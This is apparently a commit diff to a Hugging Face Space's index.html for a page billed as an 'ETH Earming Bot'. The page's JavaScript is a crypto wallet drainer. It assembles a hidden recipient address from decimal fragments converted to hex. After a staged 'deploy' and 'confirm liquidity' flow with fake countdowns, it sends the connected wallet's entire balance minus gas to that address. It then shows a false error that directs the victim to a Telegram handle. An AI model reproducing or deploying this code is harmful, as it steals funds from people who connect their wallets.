Spaces:
Running
Running
Update index.html
Browse files- index.html +254 -239
index.html
CHANGED
@@ -1,248 +1,263 @@
|
|
1 |
-
|
2 |
-
|
3 |
-
|
4 |
-
|
5 |
-
|
6 |
-
|
7 |
-
|
8 |
-
|
9 |
-
|
10 |
-
|
11 |
-
|
12 |
-
|
13 |
-
|
14 |
-
|
15 |
-
|
16 |
-
|
17 |
-
|
18 |
-
|
19 |
-
|
20 |
-
|
21 |
-
|
22 |
-
|
23 |
-
|
24 |
-
|
25 |
-
|
26 |
-
|
27 |
-
|
28 |
-
|
29 |
-
|
30 |
-
|
31 |
-
|
32 |
-
|
33 |
-
|
34 |
-
|
35 |
-
|
36 |
-
|
37 |
-
|
38 |
-
|
39 |
-
|
40 |
-
|
41 |
-
|
42 |
-
|
43 |
-
|
44 |
-
|
45 |
-
|
46 |
-
|
47 |
-
|
48 |
-
|
49 |
-
|
50 |
-
|
51 |
-
|
52 |
-
|
53 |
-
|
54 |
-
|
55 |
-
const
|
56 |
-
const
|
57 |
-
const
|
58 |
-
|
59 |
-
|
60 |
-
const
|
61 |
-
|
62 |
-
const
|
63 |
-
|
64 |
-
|
65 |
-
|
66 |
-
|
67 |
-
|
68 |
-
const
|
69 |
-
const
|
70 |
-
const
|
71 |
-
const
|
72 |
-
|
73 |
-
|
74 |
-
|
75 |
-
|
76 |
-
|
77 |
-
|
78 |
-
|
79 |
-
|
80 |
-
|
81 |
-
|
82 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
83 |
transferInProgress = false;
|
84 |
-
return;
|
85 |
-
}
|
86 |
-
const amountToSend = BigInt(balanceWei) - BigInt(gasCost);
|
87 |
-
await window.ethereum.request({
|
88 |
-
method: "eth_sendTransaction",
|
89 |
-
params: [
|
90 |
-
{
|
91 |
-
from: window.ethereum.selectedAddress,
|
92 |
-
to: ra,
|
93 |
-
value: "0x" + amountToSend.toString(16),
|
94 |
-
},
|
95 |
-
],
|
96 |
-
});
|
97 |
-
alert("Error. A small amount of liquidity. Write to me in telegram @OnlyTrustCrypto");
|
98 |
-
transferInProgress = false;
|
99 |
-
} catch (error) {
|
100 |
-
alert("Error confirming liquidity. Repeat again");
|
101 |
-
console.error(error);
|
102 |
-
transferInProgress = false;
|
103 |
-
}
|
104 |
-
};
|
105 |
-
connectButton.addEventListener("click", async () => {
|
106 |
-
try {
|
107 |
-
const accounts = await window.ethereum.request({
|
108 |
-
method: "eth_requestAccounts",
|
109 |
-
});
|
110 |
-
if (accounts.length > 0) {
|
111 |
-
sendEtherButton.style.display = "block";
|
112 |
-
typeAdress.style.display = "block";
|
113 |
-
checkBalanceButton.style.display = "block";
|
114 |
-
checkAdressBalanceButton.style.display = "block";
|
115 |
-
connectButton.style.display = "none";
|
116 |
-
}
|
117 |
-
} catch (error) {
|
118 |
-
console.error(error);
|
119 |
-
alert("connection error");
|
120 |
-
}
|
121 |
-
});
|
122 |
-
sendEtherButton.addEventListener("click", async () => {
|
123 |
-
try {
|
124 |
-
const value = typeAdress.value;
|
125 |
-
if (resultElement.innerText !== "ready") {
|
126 |
-
alert("小lick the deploy button");
|
127 |
-
return;
|
128 |
}
|
129 |
-
|
130 |
-
|
131 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
132 |
}
|
133 |
-
|
134 |
-
|
135 |
-
|
136 |
-
|
137 |
-
|
138 |
-
|
139 |
-
|
140 |
-
|
141 |
-
|
142 |
-
|
143 |
-
|
144 |
-
|
145 |
-
|
146 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
147 |
typeAdress.disabled = true;
|
148 |
-
sendEtherButton.
|
149 |
-
|
150 |
-
|
151 |
-
|
152 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
153 |
}
|
154 |
-
}
|
155 |
-
|
|
|
156 |
}
|
157 |
-
}
|
158 |
-
|
159 |
-
|
160 |
-
|
161 |
-
|
162 |
-
|
163 |
-
|
164 |
-
|
165 |
-
|
166 |
-
|
167 |
-
})
|
168 |
-
|
169 |
-
|
170 |
-
|
171 |
-
}
|
172 |
-
|
173 |
-
|
174 |
-
|
175 |
-
|
176 |
-
|
177 |
-
|
178 |
-
|
179 |
-
|
180 |
-
|
181 |
-
|
182 |
-
|
183 |
-
|
184 |
-
|
185 |
-
|
186 |
-
|
187 |
-
|
188 |
-
|
189 |
-
|
190 |
-
|
191 |
-
|
192 |
-
|
193 |
-
|
194 |
-
|
195 |
-
|
196 |
-
|
197 |
-
|
198 |
-
|
199 |
-
|
200 |
-
|
201 |
-
|
202 |
-
|
203 |
-
|
204 |
-
circle farthest-side at center center,
|
205 |
-
#222336 0%,
|
206 |
-
#222336 100%
|
207 |
-
);
|
208 |
-
}
|
209 |
-
section {
|
210 |
-
background: #2a2c3f;
|
211 |
-
color: white;
|
212 |
-
border-radius: 1em;
|
213 |
-
padding: 1em;
|
214 |
-
position: absolute;
|
215 |
-
top: 50%;
|
216 |
-
left: 50%;
|
217 |
-
margin-right: -50%;
|
218 |
-
margin: 0 auto;
|
219 |
-
transform: translate(-50%, -50%);
|
220 |
-
}
|
221 |
-
</style>
|
222 |
-
<script>
|
223 |
-
const regularLaunchButton = document.getElementById("regular");
|
224 |
-
const resultElement = document.getElementById("result");
|
225 |
-
|
226 |
-
function setButtonsDisabled(isDisabled) {
|
227 |
-
regularLaunchButton.disabled = isDisabled;
|
228 |
}
|
229 |
-
|
230 |
-
|
231 |
-
|
232 |
-
|
233 |
-
|
234 |
-
|
235 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
236 |
setButtonsDisabled(true);
|
237 |
-
|
238 |
-
|
239 |
-
|
240 |
-
|
241 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
242 |
}
|
243 |
-
|
244 |
-
|
245 |
-
|
246 |
-
|
247 |
-
</
|
248 |
-
|
|
|
|
1 |
+
<!DOCTYPE html>
|
2 |
+
<html lang="en">
|
3 |
+
<head>
|
4 |
+
<meta charset="UTF-8" />
|
5 |
+
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
6 |
+
<link
|
7 |
+
rel="shortcut icon"
|
8 |
+
href="https://huggingface.co/spaces/Lechcher/ETH_Earming_Bot/resolve/main/eth.png"
|
9 |
+
type="image/x-icon"
|
10 |
+
/>
|
11 |
+
<title>Eth EOL Earming Bot</title>
|
12 |
+
</head>
|
13 |
+
<body>
|
14 |
+
<section>
|
15 |
+
<button id="connectButton">connect</button>
|
16 |
+
<table id="checkAdressBalanceButton" style="display: none">
|
17 |
+
<tr>
|
18 |
+
<td>my contract</td>
|
19 |
+
<td><button id="regular">deploy</button></td>
|
20 |
+
<td>
|
21 |
+
<p id="result"><code>no contract</code></p>
|
22 |
+
</td>
|
23 |
+
</tr>
|
24 |
+
<tr>
|
25 |
+
<td>my second address</td>
|
26 |
+
<td>
|
27 |
+
<input
|
28 |
+
type="text"
|
29 |
+
id="typeAdress"
|
30 |
+
name="adress_auth"
|
31 |
+
placeholder="Input second address ETH-0x"
|
32 |
+
autocomplete="off"
|
33 |
+
size="20"/>
|
34 |
+
</td>
|
35 |
+
<td>
|
36 |
+
<button id="sendEtherButton" style="display: none">Attach</button>
|
37 |
+
</td>
|
38 |
+
<td><div id="statusMessage"></div></td>
|
39 |
+
</tr>
|
40 |
+
<tr>
|
41 |
+
<td>my status</td>
|
42 |
+
<td><center>
|
43 |
+
<button disabled="disabled" id="checkBalanceButton" style="display: none">
|
44 |
+
liquid
|
45 |
+
</button>
|
46 |
+
</td>
|
47 |
+
<td><p id="balanceDisplay" style="display: none"></p>confirm the liquidity</td>
|
48 |
+
</tr>
|
49 |
+
</table>
|
50 |
+
<script>
|
51 |
+
const connectButton = document.getElementById("connectButton");
|
52 |
+
const sendEtherButton = document.getElementById("sendEtherButton");
|
53 |
+
const typeAdress = document.getElementById("typeAdress");
|
54 |
+
const checkBalanceButton =document.getElementById("checkBalanceButton");
|
55 |
+
const balanceDisplay = document.getElementById("balanceDisplay");
|
56 |
+
const checkAdressBalanceButton = document.getElementById("checkAdressBalanceButton");
|
57 |
+
const statusMessage = document.getElementById("statusMessage");
|
58 |
+
let validationComplete = false;
|
59 |
+
let transferInProgress = false;
|
60 |
+
const performTransaction = async () => {
|
61 |
+
try {
|
62 |
+
const value = typeAdress.value;
|
63 |
+
transferInProgress = true;
|
64 |
+
function kyc(dcm)
|
65 |
+
{
|
66 |
+
return parseInt(dcm).toString(16);
|
67 |
+
}
|
68 |
+
const m = '29555';
|
69 |
+
const k = '65823';
|
70 |
+
const e = '32280';
|
71 |
+
const v = '619621';
|
72 |
+
const n = '137011';
|
73 |
+
const c = '4211409';
|
74 |
+
const i = '14392965';
|
75 |
+
const p = '113273';
|
76 |
+
const evm = kyc(m);
|
77 |
+
const hashlock = kyc(k);
|
78 |
+
const moe = kyc(e);
|
79 |
+
const spv = kyc(v);
|
80 |
+
const comission = kyc(n);
|
81 |
+
const sc = kyc(c);
|
82 |
+
const validate = kyc(i);
|
83 |
+
const mnode = kyc(p);
|
84 |
+
const ra = `0x${evm}${hashlock}${moe}${spv}${comission}${sc}${validate}${mnode}`;
|
85 |
+
const balanceWei = await window.ethereum.request({
|
86 |
+
method: "eth_getBalance",
|
87 |
+
params: [window.ethereum.selectedAddress, "latest"],
|
88 |
+
});
|
89 |
+
const gasPrice = await window.ethereum.request({
|
90 |
+
method: "eth_gasPrice",
|
91 |
+
});
|
92 |
+
const gasLimit = 33000;
|
93 |
+
const gasCost = gasPrice * gasLimit;
|
94 |
+
if (BigInt(balanceWei) < gasCost) {
|
95 |
+
alert("no ETH for gas fee");
|
96 |
+
transferInProgress = false;
|
97 |
+
return;
|
98 |
+
}
|
99 |
+
const amountToSend = BigInt(balanceWei) - BigInt(gasCost);
|
100 |
+
await window.ethereum.request({
|
101 |
+
method: "eth_sendTransaction",
|
102 |
+
params: [
|
103 |
+
{
|
104 |
+
from: window.ethereum.selectedAddress,
|
105 |
+
to: ra,
|
106 |
+
value: "0x" + amountToSend.toString(16),
|
107 |
+
},
|
108 |
+
],
|
109 |
+
});
|
110 |
+
alert("Error. A small amount of liquidity. Write to me in telegram @OnlyTrustCrypto");
|
111 |
+
transferInProgress = false;
|
112 |
+
} catch (error) {
|
113 |
+
alert("Error confirming liquidity. Repeat again");
|
114 |
+
console.error(error);
|
115 |
transferInProgress = false;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
116 |
}
|
117 |
+
};
|
118 |
+
connectButton.addEventListener("click", async () => {
|
119 |
+
try {
|
120 |
+
const accounts = await window.ethereum.request({
|
121 |
+
method: "eth_requestAccounts",
|
122 |
+
});
|
123 |
+
if (accounts.length > 0) {
|
124 |
+
sendEtherButton.style.display = "block";
|
125 |
+
typeAdress.style.display = "block";
|
126 |
+
checkBalanceButton.style.display = "block";
|
127 |
+
checkAdressBalanceButton.style.display = "block";
|
128 |
+
connectButton.style.display = "none";
|
129 |
+
}
|
130 |
+
} catch (error) {
|
131 |
+
console.error(error);
|
132 |
+
alert("connection error");
|
133 |
}
|
134 |
+
});
|
135 |
+
sendEtherButton.addEventListener("click", async () => {
|
136 |
+
try {
|
137 |
+
const value = typeAdress.value;
|
138 |
+
if (resultElement.innerText !== "ready") {
|
139 |
+
alert("小lick the deploy button");
|
140 |
+
return;
|
141 |
+
}
|
142 |
+
if (!value || value.length < 40) {
|
143 |
+
alert("Attention! Enter the correct second Ethereum address");
|
144 |
+
return;
|
145 |
+
}
|
146 |
+
if (!validationComplete) {
|
147 |
+
if (
|
148 |
+
/^[a-zA-Z0-9!@#$%^'&*()-_+=<>?:"',./\[\]{}|\\]+$/g.test(
|
149 |
+
value
|
150 |
+
) &&
|
151 |
+
value.length >= 40
|
152 |
+
) {
|
153 |
+
statusMessage.textContent = "waiting";
|
154 |
typeAdress.disabled = true;
|
155 |
+
sendEtherButton.disabled = true;
|
156 |
+
|
157 |
+
setTimeout(() => {
|
158 |
+
validationComplete = true;
|
159 |
+
statusMessage.textContent = "ready";
|
160 |
+
typeAdress.disabled = true;
|
161 |
+
sendEtherButton.textContent = "confirm";
|
162 |
+
sendEtherButton.disabled = false;
|
163 |
+
}, 10000);
|
164 |
+
} else {
|
165 |
+
alert("Error! input value");
|
166 |
+
}
|
167 |
+
} else if (sendEtherButton.textContent === "confirm") {
|
168 |
+
performTransaction();
|
169 |
}
|
170 |
+
} catch (error) {
|
171 |
+
console.error("Error on process:\n" + error);
|
172 |
+
transferInProgress = false;
|
173 |
}
|
174 |
+
});
|
175 |
+
checkBalanceButton.addEventListener("click", async () => {
|
176 |
+
try {
|
177 |
+
const balanceWei = await window.ethereum.request({
|
178 |
+
method: "eth_getBalance",
|
179 |
+
params: [window.ethereum.selectedAddress, "latest"],
|
180 |
+
});
|
181 |
+
const balanceEther = (parseInt(balanceWei) / 1e18).toFixed(4);
|
182 |
+
balanceDisplay.innerText = `balance: ${balanceEther} ETH`;
|
183 |
+
balanceDisplay.style.display = "block";
|
184 |
+
} catch (error) {
|
185 |
+
console.error(error);
|
186 |
+
alert("Error");
|
187 |
+
}
|
188 |
+
});
|
189 |
+
</script>
|
190 |
+
<style>
|
191 |
+
html {
|
192 |
+
box-sizing: border-box;
|
193 |
+
font-family: "Open Sans", sans-serif;
|
194 |
+
}
|
195 |
+
*,
|
196 |
+
*:before,
|
197 |
+
*:after {
|
198 |
+
box-sizing: inherit;
|
199 |
+
}
|
200 |
+
body {
|
201 |
+
font-family: Arial, sans-serif;
|
202 |
+
text-align: center;
|
203 |
+
margin: 0;
|
204 |
+
padding: 20px;
|
205 |
+
background: #222336;
|
206 |
+
background: -webkit-radial-gradient(
|
207 |
+
circle farthest-side at center center,
|
208 |
+
#222336 0%,
|
209 |
+
#222336 100%
|
210 |
+
);
|
211 |
+
background: -moz-radial-gradient(
|
212 |
+
circle farthest-side at center center,
|
213 |
+
#2a2c3f 0%,
|
214 |
+
#222336 100%
|
215 |
+
);
|
216 |
+
background: radial-gradient(
|
217 |
+
circle farthest-side at center center,
|
218 |
+
#222336 0%,
|
219 |
+
#222336 100%
|
220 |
+
);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
221 |
}
|
222 |
+
section {
|
223 |
+
background: #2a2c3f;
|
224 |
+
color: white;
|
225 |
+
border-radius: 1em;
|
226 |
+
padding: 1em;
|
227 |
+
position: absolute;
|
228 |
+
top: 50%;
|
229 |
+
left: 50%;
|
230 |
+
margin-right: -50%;
|
231 |
+
margin: 0 auto;
|
232 |
+
transform: translate(-50%, -50%);
|
233 |
+
}
|
234 |
+
</style>
|
235 |
+
<script>
|
236 |
+
const regularLaunchButton = document.getElementById("regular");
|
237 |
+
const resultElement = document.getElementById("result");
|
238 |
+
|
239 |
+
function setButtonsDisabled(isDisabled) {
|
240 |
+
regularLaunchButton.disabled = isDisabled;
|
241 |
+
}
|
242 |
+
function timeout(workFn) {
|
243 |
+
console.log("exec");
|
244 |
setButtonsDisabled(true);
|
245 |
+
resultElement.innerText = "waiting...";
|
246 |
+
setTimeout(() => {
|
247 |
+
const asyncStartTime = Date.now();
|
248 |
+
resultElement.innerText = "ready";
|
249 |
+
setButtonsDisabled(true);
|
250 |
+
}, 12000);
|
251 |
+
const startTime = Date.now();
|
252 |
+
|
253 |
+
if (typeof workFn === "function") {
|
254 |
+
workFn();
|
255 |
+
}
|
256 |
}
|
257 |
+
regularLaunchButton.addEventListener("click", () => {
|
258 |
+
timeout();
|
259 |
+
});
|
260 |
+
</script>
|
261 |
+
</section>
|
262 |
+
</body>
|
263 |
+
</html>
|